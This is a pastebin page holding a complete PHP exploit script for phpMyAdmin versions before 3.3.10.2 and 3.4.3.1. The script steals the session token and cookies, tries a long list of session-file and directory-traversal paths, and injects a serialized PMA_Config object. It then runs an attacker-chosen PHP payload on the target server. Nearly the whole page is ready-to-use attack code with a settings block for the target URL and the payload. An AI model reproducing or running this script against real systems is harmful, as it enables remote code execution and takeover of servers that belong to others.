phpmyadmin_exploit


SUBMITTED BY: Guest

DATE: Nov. 2, 2014, 4:38 a.m.

FORMAT: PHP

SIZE: 8.2 kB

HITS: 1605

  1. <?php
  2. /*
  3. phpMyAdmin < 3.3.10.2 & < 3.4.3.1 Session Serializer arbitrary PHP code execution exploit
  4. by M4g, ICQ 884888, http://snipper.ru, (c) 2011
  5. ---
  6. PHP depending and settings on the target PMA installation: magic_quotes_gpc = off, PHP <= 5.2.13 & PHP <= 5.3.2
  7. ---
  8. Links & Thanks:
  9. 0. http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/
  10. 1. http://php-security.org/2010/05/31/mops-2010-060-php-session-serializer-session-data-injection-vulnerability/index.html
  11. 2. https://rdot.org/forum/showthread.php?t=286
  12. 3. http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html
  13. 4. http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/
  14. */
  15. /*Settings*/
  16. $pmaurl = 'http://127.0.0.1/phpmyadmin'; //full PMA url
  17. $payload = '<?php phpinfo(); ?>'; //PHP code to execute
  18. /*Settings*/
  19. /*-------------------------------------------EXPLOIT CODE-------------------------------------------*/
  20. $count_redirects = 0;
  21. $max_redirects = 5;
  22. //отправляем http-данные
  23. //$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent, other headers, timeout, what to show = (0-all, 1-body, 2-headers), redirect = 0|1
  24. function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = 'Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8', $other_headers= '', $timeout = 30, $show = 0, $follow_redirect=0)
  25. {
  26. global $count_redirects,$max_redirects;
  27. $return = '';
  28. $feof_count = 0;
  29. $parsed_url = parse_url($url);
  30. $site = $parsed_url['host'];
  31. $path = $parsed_url['path'];
  32. $query = $parsed_url['query'];
  33. if(preg_match('@_$@i',$query) && !preg_match('@_$@i',$url))
  34. $query = rtrim($query,'_');
  35. if(preg_match('@_$@i',$path) && !preg_match('@_$@i',$url))
  36. $path = rtrim($path,'_');
  37. ($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';
  38. ($method == 'GET' && !empty($query) && empty($data)) ? $path .= '?'.$query : '';
  39. ($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';
  40. if($fp = fsockopen($site, 80, $errno, $errstr, $timeout))
  41. {
  42. ($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";
  43. $out .= "Host: $site\r\n";
  44. $out .= "Content-type: application/x-www-form-urlencoded\r\n";
  45. $out .= "Connection: Close\r\n";
  46. $out .= "User-Agent: $ua_string\r\n";
  47. !empty($referer_string) ? $out .= "Referer: $referer_string\r\n" : '';
  48. !empty($cookie_string) ? $out .= "Cookie: $cookie_string\r\n" : '';
  49. !empty($other_headers) ? $out .= $other_headers : '';
  50. ($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";
  51. ($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);
  52. while (!feof($fp))
  53. {
  54. if($feof_count >=10000)
  55. break;
  56. $return .= fread($fp, 4800);
  57. ++$feof_count;
  58. }
  59. fclose($fp);
  60. if($follow_redirect)
  61. {
  62. if($count_redirects<$max_redirects)
  63. {
  64. if(preg_match('@Location: (.+)@i',$return,$redirect_match))
  65. {
  66. $count_redirects++;
  67. $return = send_data($method, $redirect_match[1], $data, $referer_string, $cookie_string, $ua_string, $other_headers, $timeout, $show, $follow_redirect);
  68. $count_redirects = 0;
  69. }
  70. }
  71. else
  72. return 'Max redirects = '.$max_redirects;
  73. }
  74. if($show == 1)
  75. {
  76. $return = explode("\r\n\r\n",$return);
  77. $return = $return[1];
  78. }
  79. elseif($show == 2)
  80. {
  81. $return = explode("\r\n\r\n",$return);
  82. $return = $return[0];
  83. }
  84. return $return;
  85. }
  86. else
  87. return array('errno' => $errno, 'errstr' => $errstr);
  88. }
  89. $pmaurl = rtrim($pmaurl,'/').'/index.php';
  90. //Regards to asddas
  91. $sess_path = array('C:/xampp/tmp/',
  92. '/tmp/',
  93. '/var/tmp/',
  94. '/var/lib/php/',
  95. '/var/lib/php4/',
  96. '/var/lib/php5/',
  97. '/var/lib/php/session/',
  98. '/var/lib/php4/session/',
  99. '/var/lib/php5/session/',
  100. '/shared/sessions',
  101. '/var/php_sessions/',
  102. '/var/sessions/',
  103. '/tmp/php_sessions/',
  104. '/tmp/sessions/',
  105. '../../../tmp/',
  106. '../../../../tmp/',
  107. '../../../../../tmp/',
  108. '../../../../../../tmp/',
  109. '../../../../../../../tmp/',
  110. '../../../temp/',
  111. '../../../../temp/',
  112. '../../../../../temp/',
  113. '../../../../../../temp/',
  114. '../../../../../../../temp/',
  115. '../../../sessions/',
  116. '../../../../sessions/',
  117. '../../../../../sessions/',
  118. '../../../../../../sessions/',
  119. '../../../../../../../sessions/',
  120. '../../../phptmp/',
  121. '../../../../phptmp/',
  122. '../../../../../phptmp/',
  123. '../../../../../../phptmp/',
  124. '../../../../../../../phptmp/'
  125. );
  126. //1. Token, Session name and Cookies
  127. $token_page = send_data('GET',$pmaurl);
  128. preg_match('@name="token" value="([a-f0-9]{32})"@is',$token_page,$token_array);
  129. $token = $token_array[1];
  130. preg_match_all('@Set-Cookie: ([^\r\n;]+)@is',$token_page,$cookie_array);
  131. $cookie_array = $cookie_array[1];
  132. $cookie_array = implode("; ",$cookie_array);
  133. preg_match('@phpMyAdmin=([a-z0-9]{32,40});?@is',$token_page,$session_array);
  134. $session = $session_array[1];
  135. //2. Inject into session testing
  136. $sess_test_page = '';
  137. $o = 0;
  138. $good_inj = false;
  139. do
  140. {
  141. $inj = $sess_path[$o].'sess_'.$session;
  142. $query = $pmaurl.'?session_to_unset=123&token='.$token.'&_SESSION[!bla]='.urlencode('|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($inj).':"'.$inj.'";}}');
  143. $sess_test_page = send_data('GET',$query,'',$pmaurl,$cookie_array);
  144. $sess_test_page2 = send_data('GET',$pmaurl.'?token='.$token,'',$pmaurl,$cookie_array);
  145. if(stristr($sess_test_page2,'PMA_Config'))
  146. {
  147. $good_inj = $inj;
  148. flush();
  149. print '[+] '.$inj.' - good path'."\n";
  150. break;
  151. }
  152. else
  153. {
  154. flush();
  155. print '[-] '.$inj.' - bad path'."\n";
  156. }
  157. $o++;
  158. }
  159. while($o < count($sess_path));
  160. if($good_inj)
  161. {
  162. $query = $pmaurl.'?session_to_unset=123&token='.$token.'&_SESSION[!bla]='.urlencode('|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($good_inj).':"'.$good_inj.'";}}').'&_SESSION[payload]='.urlencode($payload);
  163. $sess_test_page = send_data('GET',$query,'',$pmaurl,$cookie_array);
  164. $sess_test_page2 = send_data('GET',$pmaurl.'?token='.$token,'',$pmaurl,$cookie_array);
  165. print $sess_test_page2;
  166. }
  167. else
  168. die('[+] Session path was not found');

comments powered by Disqus